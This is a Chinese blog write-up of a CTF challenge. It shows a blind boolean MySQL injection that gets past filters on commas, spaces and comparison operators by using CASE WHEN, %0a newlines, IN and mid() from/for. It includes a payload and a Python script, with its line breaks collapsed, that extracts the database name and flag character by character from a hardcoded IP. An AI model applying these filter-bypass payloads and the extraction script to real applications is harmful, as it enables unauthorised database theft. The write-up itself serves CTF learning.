实战|记一次MySQL注入绕过

2022-06-20 9,203
作者:末初  编辑:白帽子社区
SQL注入类型判断

某朋友比赛中让帮忙看的一道题目,如下

查看源码发现提示

 

存在过滤且,limit参数只能为单个数字

 

fuzz一下sql注入关键字看看都过滤了哪些字符

 

直接在class参数插入exp(100)回显正常,插入exp(1000)发现返回database error;说明此处sql注入可直接插入执行,其次如果sql语句执行错误会返回报错提示;

绕过

那么就可以做布尔盲注了,但是比较棘手的是过滤了逗号,;不能使用if进行条件判断;绕过逗号的方法from x for y不能在if中使用。if无法使用可以用case when [express] then [x] else [y] end代替空格绕过可以使用括号()或者%0a=、like、regexp被过滤可以用in(不过in对字符大小写不敏感)

class=case%0awhen%0a(2)in(1)%0athen%0aexp(1000)else%0a1%0aend&limit=4

利用脚本编写
from urllib.parse import urlencodefrom urllib.parse import unquoteimport requests
burp0_url = "http://123.60.32.152:80/"burp0_headers = {"Content-Type": "application/x-www-form-urlencoded"}all_str = "0123456789abcdefghijklmnopqrstuvwxyz!\"#$%&\\'()*+,-./:;<=>?@[\\]^_`{|}~"
flag = ''for leng in range(1,50):for char in all_str:    payload = "case%0awhen%0amid(database()from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:])#payload = "case%0awhen%0amid((select%0aflag%0afrom%0aflag)from({})for(1))%0ain%0a(0x{})%0athen%0aexp(1000)%0aelse%0a1%0aend".format(leng, hex(ord(char))[2:])    burp0_data = {"class": unquote(payload), "limit": "4"}    resp = requests.post(burp0_url, headers=burp0_headers, data=urlencode(burp0_data))if 'error' in resp.text:      flag += charprint(flag)else:continue# print(resp.text)# print(resp.request.body)


到数据名称:babysql 直接按照前面的提示查flag


本文作者:hackctf

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/181462.html

Tags:
评论  (0)
快来写下你的想法吧!

hackctf

文章数:40 积分: 80

微信公众号:hackctf

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号